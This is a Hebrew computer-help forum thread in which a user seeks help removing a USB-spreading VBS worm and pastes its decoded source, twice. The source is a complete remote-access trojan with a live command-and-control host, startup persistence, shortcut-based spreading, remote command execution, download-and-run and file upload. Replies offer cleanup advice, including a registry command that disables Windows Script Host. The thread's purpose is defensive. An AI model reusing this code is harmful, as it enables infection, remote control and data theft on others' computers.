דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
43 פוסטים 13 כותבים 397 צפיות 11 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
    מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

    מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

    גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

    @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

    cfopuserC מנותק
    cfopuserC מנותק
    cfopuser
    כתב נערך לאחרונה על ידי
    #17

    @רנדומלי היא כן.

    תגובה 1 תגובה אחרונה
    1
    • ר רנדומלי

      בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

      cmd /c hrxxryydxo.vbs && start explorer [file name]
      

      הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

      לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

      תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

      לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

      z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
      

      בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
      לאחר פיענוח הקידוד התקבל הקוד הבא:
      אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

      e
      '<[ recoder : houdini (c) skype : houdini-fx ]>
      
      '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
      
      host = "khattab.no-ip.biz"
      port = 5550
      installdir = "%temp%"
      lnkfile = true
      lnkfolder = true
      
      '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
      
      dim shellobj 
      set shellobj = wscript.createobject("wscript.shell")
      dim filesystemobj
      set filesystemobj = createobject("scripting.filesystemobject")
      dim httpobj
      set httpobj = createobject("msxml2.xmlhttp")
      
      '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
      
      installname = wscript.scriptname
      startup = shellobj.specialfolders ("startup") & "\"
      installdir = shellobj.expandenvironmentstrings(installdir) & "\"
      if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
      spliter = "<" & "|" & ">"
      sleep = 5000 
      dim response
      dim cmd
      dim param
      info = ""
      usbspreading = ""
      startdate = ""
      dim oneonce
      
      '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
      on error resume next
      
      instance
      while true
      
      install
      
      response = ""
      response = post ("is-ready","")
      cmd = split (response,spliter)
      select case cmd (0)
      case "excecute"
            param = cmd (1)
            execute param
      case "update"
            param = cmd (1)
            oneonce.close
            set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
            oneonce.write param
            oneonce.close
            shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
            wscript.quit 
      case "uninstall"
            uninstall
      case "send"
            download cmd (1),cmd (2)
      case "site-send"
            sitedownloader cmd (1),cmd (2)
      case "recv"
            param = cmd (1)
            upload (param)
      case  "enum-driver"
            post "is-enum-driver",enumdriver  
      case  "enum-faf"
            param = cmd (1)
            post "is-enum-faf",enumfaf (param)
      case  "enum-process"
            post "is-enum-process",enumprocess   
      case  "cmd-shell"
            param = cmd (1)
            post "is-cmd-shell",cmdshell (param)  
      case  "delete"
            param = cmd (1)
            deletefaf (param) 
      case  "exit-process"
            param = cmd (1)
            exitprocess (param) 
      case  "sleep"
            param = cmd (1)
            sleep = eval (param)        
      end select
      
      wscript.sleep sleep
      
      wend
      
      sub install
      on error resume next
      dim lnkobj
      dim filename
      dim foldername
      dim fileicon
      dim foldericon
      
      upstart
      for each drive in filesystemobj.drives
      
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
          if  filesystemobj.fileexists (drive.path & "\" & installname)  then
              filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
          end if
          for each file in filesystemobj.getfolder( drive.path & "\" ).Files
              if not lnkfile then exit for
              if  instr (file.name,".") then
                  if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                      file.attributes = 2+4
                      if  ucase (file.name) <> ucase (installname) then
                          filename = split(file.name,".")
                          set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                          lnkobj.windowstyle = 7
                          lnkobj.targetpath = "cmd.exe"
                          lnkobj.workingdirectory = ""
                          lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                          fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                          if  instr (fileicon,",") = 0 then
                              lnkobj.iconlocation = file.path
                          else 
                              lnkobj.iconlocation = fileicon
                          end if
                          lnkobj.save()
                      end if
                  end if
              end if
          next
          for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
              if not lnkfolder then exit for
              folder.attributes = 2+4
              foldername = folder.name
              set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
              lnkobj.windowstyle = 7
              lnkobj.targetpath = "cmd.exe"
              lnkobj.workingdirectory = ""
              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
              foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
              if  instr (foldericon,",") = 0 then
                  lnkobj.iconlocation = folder.path
              else 
                  lnkobj.iconlocation = foldericon
              end if
              lnkobj.save()
          next
      end If
      end If
      end if
      next
      err.clear
      end sub
      
      sub uninstall
      on error resume next
      dim filename
      dim foldername
      
      shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
      filesystemobj.deletefile startup & installname ,true
      filesystemobj.deletefile wscript.scriptfullname ,true
      
      for  each drive in filesystemobj.drives
      if  drive.isready = true then
      if  drive.freespace  > 0 then
      if  drive.drivetype  = 1 then
          for  each file in filesystemobj.getfolder ( drive.path & "\").files
               on error resume next
               if  instr (file.name,".") then
                   if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                       file.attributes = 0
                       if  ucase (file.name) <> ucase (installname) then
                           filename = split(file.name,".")
                           filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                       else
                           filesystemobj.deletefile (drive.path & "\" & file.name)
                       end If
                   else
                       filesystemobj.deletefile (file.path) 
                   end if
               end if
           next
           for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
               folder.attributes = 0
           next
      end if
      end if
      end if
      next
      wscript.quit
      end sub
      
      function post (cmd ,param)
      
      post = param
      httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
      httpobj.setrequestheader "user-agent:",information
      httpobj.send param
      post = httpobj.responsetext
      end function
      
      function information
      on error resume next
      if  inf = "" then
          inf = hwid & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
          inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
      
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set os = root.execquery ("select * from win32_operatingsystem")
          for each osinfo in os
             inf = inf & osinfo.caption & spliter  
             exit for
          next
          inf = inf & "plus" & spliter
          inf = inf & security & spliter
          inf = inf & usbspreading
          information = inf  
      else
          information = inf
      end if
      end function
      
      sub upstart ()
      on error resume Next
      
      shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
      filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
      filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
      
      end sub
      
      function hwid
      on error resume next
      
      set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set disks = root.execquery ("select * from win32_logicaldisk")
      for each disk in disks
          if  disk.volumeserialnumber <> "" then
              hwid = disk.volumeserialnumber
              exit for
          end if
      next
      end function
      
      function security 
      on error resume next
      
      security = ""
      
      set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
      for each objitem in colitems
          versionstr = split (objitem.version,".")
      next
      versionstr = split (colitems.version,".")
      osversion = versionstr (0) & "."
      for  x = 1 to ubound (versionstr)
           osversion = osversion &  versionstr (i)
      next
      osversion = eval (osversion)
      if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
      
      set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
      Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
      
      for each objantivirus in colantivirus
          security  = security  & objantivirus.displayname & " ."
      next
      if security  = "" then security  = "nan-av"
      end function
      
      function instance
      on error resume next
      
      usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
      if usbspreading = "" then
         if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
            usbspreading = "true - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
         else
            usbspreading = "false - " & date
            shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
      
         end if
      end If
      
      
      upstart
      set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
      set installfullnameshort =  filesystemobj.getfile (installdir & installname)
      if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
          wscript.quit 
      end If
      err.clear
      set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
      if  err.number > 0 then wscript.quit
      end function
      
      sub sitedownloader (fileurl,filename)
      
      strlink = fileurl
      strsaveto = installdir & filename
      set objhttpdownload = createobject("msxml2.xmlhttp" )
      objhttpdownload.open "get", strlink, false
      objhttpdownload.send
      
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
       
      if objhttpdownload.status = 200 then
         dim  objstreamdownload
         set  objstreamdownload = createobject("adodb.stream")
         with objstreamdownload
              .type = 1 
              .open
              .write objhttpdownload.responsebody
              .savetofile strsaveto
              .close
         end with
         set objstreamdownload = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      sub download (fileurl,filedir)
      
      if filedir = "" then 
         filedir = installdir
      end if
      
      strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
      set objhttpdownload = createobject("msxml2.xmlhttp")
      objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
      objhttpdownload.send ""
           
      set objfsodownload = createobject ("scripting.filesystemobject")
      if  objfsodownload.fileexists (strsaveto) then
          objfsodownload.deletefile (strsaveto)
      end if
      if  objhttpdownload.status = 200 then
          dim  objstreamdownload
          set  objstreamdownload = createobject("adodb.stream")
          with objstreamdownload 
               .type = 1 
               .open
               .write objhttpdownload.responsebody
               .savetofile strsaveto
               .close
          end with
          set objstreamdownload  = nothing
      end if
      if objfsodownload.fileexists(strsaveto) then
         shellobj.run objfsodownload.getfile (strsaveto).shortpath
      end if 
      end sub
      
      function upload (fileurl)
      
      dim  httpobj,objstreamuploade,buffer
      set  objstreamuploade = createobject("adodb.stream")
      with objstreamuploade 
           .type = 1 
           .open
           .loadfromfile fileurl
           buffer = .read
           .close
      end with
      set objstreamdownload = nothing
      set httpobj = createobject("msxml2.xmlhttp")
      httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
      httpobj.send buffer
      end function
      
      function enumdriver ()
      
      for  each drive in filesystemobj.drives
      if   drive.isready = true then
           enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
      end if
      next
      end Function
      
      function enumfaf (enumdir)
      
      enumfaf = enumdir & spliter
      for  each folder in filesystemobj.getfolder (enumdir).subfolders
           enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
      next
      
      for  each file in filesystemobj.getfolder (enumdir).files
           enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
      
      next
      end function
      
      function enumprocess ()
      
      on error resume next
      
      set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
      set colitems = objwmiservice.execquery("select * from win32_process",,48)
      
      dim objitem
      for each objitem in colitems
          enumprocess = enumprocess & objitem.name & "|"
          enumprocess = enumprocess & objitem.processid & "|"
          enumprocess = enumprocess & objitem.executablepath & spliter
      next
      end function
      
      sub exitprocess (pid)
      on error resume next
      
      shellobj.run "taskkill /F /T /PID " & pid,7,true
      end sub
      
      sub deletefaf (url)
      on error resume next
      
      filesystemobj.deletefile url
      filesystemobj.deletefolder url
      
      end sub
      
      function cmdshell (cmd)
      
      dim httpobj,oexec,readallfromany
      
      set oexec = shellobj.exec ("%comspec% /c " & cmd)
      if not oexec.stdout.atendofstream then
         readallfromany = oexec.stdout.readall
      elseif not oexec.stderr.atendofstream then
         readallfromany = oexec.stderr.readall
      else 
         readallfromany = ""
      end if
      
      cmdshell = readallfromany
      end function
      
      ת מנותק
      ת מנותק
      תלמידהון
      כתב נערך לאחרונה על ידי
      #18

      @רנדומלי יש לך מה להפסיד מאיפוס מלא של המחשב?

      תגובה 1 תגובה אחרונה
      0
      • ר רנדומלי

        השאלה אם גם אנטיוירוס שהוא אופליין היה מזהה אותו.
        מלבד זאת, אין על המחשב הזה עוד אנטיוירוס חוץ מדיפנדר (אבל אני מקפיד לעדכן אותו כל הזמן).

        מה שעשיתי כרגע הוא להשבית את wcscript באמצעות מנהל המשימות, ולמחוק אותו ידנית מכל מפתחות הרג'יסטרי שמופיעים בקוד.

        גם חיפשתי את שם הקובץ ב־everything ומחקתי את כל המופעים של הקובץ במחשב.

        @cfopuser האם כשמשביתים אנטיוירוס ומפעילים תוכנה כלשהי, האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

        מתכנת חובבמ מנותק
        מתכנת חובבמ מנותק
        מתכנת חובב
        מדריכים
        כתב נערך לאחרונה על ידי
        #19

        @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

        האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

        היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

        צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

        ר תגובה 1 תגובה אחרונה
        1
        • מתכנת חובבמ מתכנת חובב

          @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

          האם תוכנה זו לא תזוהה שוב כזדונית לנצח?

          היא עלולה לבצע דברים - החל מהחרגות ועד לזיהום של קבצי מערכת שימנעו זיהוי עתידי שלה

          ר מחובר
          ר מחובר
          רנדומלי
          כתב נערך לאחרונה על ידי
          #20

          @מתכנת-חובב
          השאלה היא אם הקוד הנוכחי אכן עושה זאת.
          כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

          @תלמידהון
          כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

          ת מתכנת חובבמ 2 תגובות תגובה אחרונה
          0
          • ר רנדומלי

            @מתכנת-חובב
            השאלה היא אם הקוד הנוכחי אכן עושה זאת.
            כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

            @תלמידהון
            כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

            ת מנותק
            ת מנותק
            תלמידהון
            כתב נערך לאחרונה על ידי
            #21

            @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

            השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

            אם יש לך אנטי וירוס מעודכן זה לא אמור לחזור

            תגובה 1 תגובה אחרונה
            1
            • ר רנדומלי

              @מתכנת-חובב
              השאלה היא אם הקוד הנוכחי אכן עושה זאת.
              כי המחשב הזה לא היה מחובר לרשת מאז שהוא נדבק, ועל כן לא סביר שתוקף הריץ קוד נוסף שלא גלוי לנו.

              @תלמידהון
              כנראה שלא. אבל השאלה היא אם זה שווה את המאמץ או שבעוד שבועיים זה יקרה שוב.

              מתכנת חובבמ מנותק
              מתכנת חובבמ מנותק
              מתכנת חובב
              מדריכים
              כתב נערך לאחרונה על ידי מתכנת חובב
              #22

              @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

              השאלה היא אם הקוד הנוכחי אכן עושה זאת.

              בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
              לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
              תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

              צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

              ר תגובה 1 תגובה אחרונה
              0
              • מתכנת חובבמ מתכנת חובב

                @רנדומלי כתב בבקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי:

                השאלה היא אם הקוד הנוכחי אכן עושה זאת.

                בזה ספציפית לא אבל כמובן שאם המחשב היה מחובר לאינטרנט אז אין לדעת
                לכאורה סריקה עם אנטי וירוס טוב ועיקור של הוירוס יספיקו
                תריץ את מה ששלחתי לך וזה יסיר אותו ואולי באמת להבא תשבית את wscript אבל לא יודע מה זה עלול לשבש במחשב הזה (קצת מוזר שהאנטי וירוס לא עלה על זה אם ב VT הוא כן מזהה אותו)

                ר מחובר
                ר מחובר
                רנדומלי
                כתב נערך לאחרונה על ידי
                #23

                @מתכנת-חובב
                תהיה מוכן להסביר לי איך אני מכבה VBS?

                זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                מתכנת חובבמ תגובה 1 תגובה אחרונה
                0
                • ר רנדומלי

                  @מתכנת-חובב
                  תהיה מוכן להסביר לי איך אני מכבה VBS?

                  זה אכן יועיל לווירוס הספציפי הזה, אבל מה אם יבוא מחר ווירוס שמבוסס על CMD או PowerShell, או סתם EXE?

                  מתכנת חובבמ מנותק
                  מתכנת חובבמ מנותק
                  מתכנת חובב
                  מדריכים
                  כתב נערך לאחרונה על ידי
                  #24

                  @רנדומלי תריץ את זה כמנהל

                  reg add "HKLM\Software\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 0 /f
                  

                  צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

                  תגובה 1 תגובה אחרונה
                  2
                  • ר רנדומלי

                    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

                    cmd /c hrxxryydxo.vbs && start explorer [file name]
                    

                    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

                    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

                    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

                    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

                    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
                    

                    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
                    לאחר פיענוח הקידוד התקבל הקוד הבא:
                    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

                    e
                    '<[ recoder : houdini (c) skype : houdini-fx ]>
                    
                    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    host = "khattab.no-ip.biz"
                    port = 5550
                    installdir = "%temp%"
                    lnkfile = true
                    lnkfolder = true
                    
                    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
                    
                    dim shellobj 
                    set shellobj = wscript.createobject("wscript.shell")
                    dim filesystemobj
                    set filesystemobj = createobject("scripting.filesystemobject")
                    dim httpobj
                    set httpobj = createobject("msxml2.xmlhttp")
                    
                    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
                    
                    installname = wscript.scriptname
                    startup = shellobj.specialfolders ("startup") & "\"
                    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
                    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
                    spliter = "<" & "|" & ">"
                    sleep = 5000 
                    dim response
                    dim cmd
                    dim param
                    info = ""
                    usbspreading = ""
                    startdate = ""
                    dim oneonce
                    
                    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
                    on error resume next
                    
                    instance
                    while true
                    
                    install
                    
                    response = ""
                    response = post ("is-ready","")
                    cmd = split (response,spliter)
                    select case cmd (0)
                    case "excecute"
                          param = cmd (1)
                          execute param
                    case "update"
                          param = cmd (1)
                          oneonce.close
                          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                          oneonce.write param
                          oneonce.close
                          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                          wscript.quit 
                    case "uninstall"
                          uninstall
                    case "send"
                          download cmd (1),cmd (2)
                    case "site-send"
                          sitedownloader cmd (1),cmd (2)
                    case "recv"
                          param = cmd (1)
                          upload (param)
                    case  "enum-driver"
                          post "is-enum-driver",enumdriver  
                    case  "enum-faf"
                          param = cmd (1)
                          post "is-enum-faf",enumfaf (param)
                    case  "enum-process"
                          post "is-enum-process",enumprocess   
                    case  "cmd-shell"
                          param = cmd (1)
                          post "is-cmd-shell",cmdshell (param)  
                    case  "delete"
                          param = cmd (1)
                          deletefaf (param) 
                    case  "exit-process"
                          param = cmd (1)
                          exitprocess (param) 
                    case  "sleep"
                          param = cmd (1)
                          sleep = eval (param)        
                    end select
                    
                    wscript.sleep sleep
                    
                    wend
                    
                    sub install
                    on error resume next
                    dim lnkobj
                    dim filename
                    dim foldername
                    dim fileicon
                    dim foldericon
                    
                    upstart
                    for each drive in filesystemobj.drives
                    
                    if  drive.isready = true then
                    if  drive.freespace  > 0 then
                    if  drive.drivetype  = 1 then
                        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                        end if
                        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                            if not lnkfile then exit for
                            if  instr (file.name,".") then
                                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                                    file.attributes = 2+4
                                    if  ucase (file.name) <> ucase (installname) then
                                        filename = split(file.name,".")
                                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                        lnkobj.windowstyle = 7
                                        lnkobj.targetpath = "cmd.exe"
                                        lnkobj.workingdirectory = ""
                                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                        if  instr (fileicon,",") = 0 then
